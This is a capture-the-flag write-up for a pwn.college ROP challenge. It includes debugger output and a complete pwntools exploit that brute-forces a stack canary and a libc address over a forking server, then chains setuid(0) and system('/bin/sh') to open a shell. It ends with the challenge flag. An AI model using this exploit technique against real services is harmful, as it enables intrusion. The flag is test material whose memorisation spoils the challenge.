(ROP) level 15
Information
- category: pwn
Description
Perform ROP when the stack frame returns to libc!
Write-up
Connecting to the Challenge
When you connect to the server at 127.0.0.1
on port 1337
using nc
, you’ll notice that the program waits for input but gives no immediate output:
1
2
3
4
nc 127.0.0.1 1337
ABCD
Leaving!
### Goodbye!
Protections in Place The binary has multiple protections enabled:
- ✅ Stack Canary
- ✅ ASLR (Address Space Layout Randomization)
There’s no direct leak, so we need to bypass all of them in order to build a successful exploit.
1
2
3
4
5
6
7
8
9
10
checksec babyrop_level15.1
[*] '/home/k1k0/Desktop/program-security-dojo/return-oriented-programming/level-15-1/_0/babyrop_level15.1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Brute-Forcing the Stack Canary Since the program is running as a forking server and allows unlimited reconnections, we can brute-force the stack canary one byte at a time.
This method works because:
- The canary is at a fixed offset from the input buffer.
- The server forks a new process for each connection, so even if we crash one, the next attempt is fresh.
- We can reuse the crash information to determine which byte guess was correct.
This method is reliable as long as the process resets and the canary stays consistent between forks.
We’ll use pwndbg
to determine this offset by:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Thread 3.1 "babyrop_level15" hit Breakpoint 1, 0x00005f1a465d53a6 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────
► 0x5f1a465d53a6 <main+544> call read@plt <read@plt>
fd: 0 (socket:[920827124])
buf: 0x7ffc2f72e1c0 —▸ 0x5f1a465d3040 ◂— 0x400000006
nbytes: 0x1000
───────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffc2f72e160 ◂— 0
01:0008│-0b8 0x7ffc2f72e168 —▸ 0x7ffc2f72e328 —▸ 0x7ffc2f730154 ◂— 'SHELL=/run/dojo/bin/bash'
02:0010│-0b0 0x7ffc2f72e170 —▸ 0x7ffc2f72e318 —▸ 0x7ffc2f730137 ◂— '/challenge/babyrop_level15.1'
03:0018│-0a8 0x7ffc2f72e178 ◂— 0x100000000
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────
► 0 0x5f1a465d53a6 main+544
1 0x78ac5dda3083 __libc_start_main+243
2 0x5f1a465d426e _start+46
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> i f
Stack level 0, frame at 0x7ffc2f72e230:
rip = 0x5f1a465d53a6 in main; saved rip = 0x78ac5dda3083
called by frame at 0x7ffc2f72e300
Arglist at 0x7ffc2f72e220, args:
Locals at 0x7ffc2f72e220, Previous frame's sp is 0x7ffc2f72e230
Saved registers:
rbp at 0x7ffc2f72e220, rip at 0x7ffc2f72e228
pwndbg> dist $rsi 0x7ffc2f72e228
0x7ffc2f72e1c0->0x7ffc2f72e228 is 0x68 bytes (0xd words)
pwndbg>
This offset tells us exactly how many bytes to send before reaching the canary.
Brute-Forcing the Frok to Bypass ASLR
We already brute-forced the stack canary, and now we want to find the full address of fork on the stack to bypass ASLR. From the program behavior, we know:
When the correct return address is in place, the program prints
r"(\d+):\ttransferring control"
— this gives us clear feedback during brute-forcing.- ASLR randomizes the base address of the libc every run.
- But if we know the address of
fork
, and we know the offset offork
, we can calculate the base address like this:1
lib_base = ret_address - offset_of_fork
This technique allows us to defeat ASLR without a memory leak — just behavior-based brute force.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python3
from pwn import *
import re
import os
import signal
context(log_level="debug",arch="arm64")
offset_canary = 0x58
offset_fork = 0x23ff0
def brute_force(typeA,start=b"",canary=b"",length=8):
current = start
while len(current) < length:
for byte in range(0x0,0x100):
try:
with remote("127.0.0.1",1337) as p:
if typeA == "canary":
payload = b"A"*offset_canary + current + p8(byte)
elif typeA == "ret":
payload = b"A"*offset_canary + canary + b"B"*8 + current + p8(byte)
else:
log.warning(f"Error while build payload in {typeA}.")
p.send(payload)
res = p.recvall(timeout=2)
if (typeA == "canary" and b"*** stack" not in res
) or (typeA == "ret" and b"transferring control" in res ):
current += p8(byte)
if typeA == "ret":
strPid = r"(\d+):\ttransferring control"
findIntPid = re.findall(strPid,res.decode("utf-8",errors="ignore"))
if findIntPid and findIntPid[0].isdigit():
try:
pid = int(findIntPid[0])
os.kill(pid,signal.SIGTERM)
log.info(f"KILL PID {pid}.")
except Exception as e:
log.warning(f"Error in killing pid: {e}.")
else:
log.warning(f"PID Not Found.")
break
except Exception as e:
log.warning(f"Error: {e}.")
return current
def payload(canary,ret):
libase = u64(ret.ljust(8,b"\x00")) - offset_fork
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
lib.address = libase
rop = ROP(lib)
return flat(
b"A"*offset_canary,
canary,
b"B"*8,
rop.ret.address,
rop.rdi.address,
0,
lib.symbols["setuid"],
rop.ret.address,
rop.rdi.address,
next(lib.search(b"/bin/sh\x00")),
lib.symbols["system"],
)
def attack():
canary = brute_force("canary",start=b"\x00")
ret = brute_force("ret",start=b"\xf0",canary=canary,length=6)
log.success(f"Canary: {canary}.")
log.success(f"Fork(): {ret}.")
with remote("127.0.0.1",1337) as p:
try:
p.send(payload(canary,ret))
p.interactive()
except Exception as e:
log.warning(f"Fail send payload: {e}.")
def main():
attack()
if __name__ == "__main__":
main()
Flag
Flag:
pwn.college{3QnRr5bCZGvxO9.APxAhJXCKPif-0VO2MDLwczN4czW}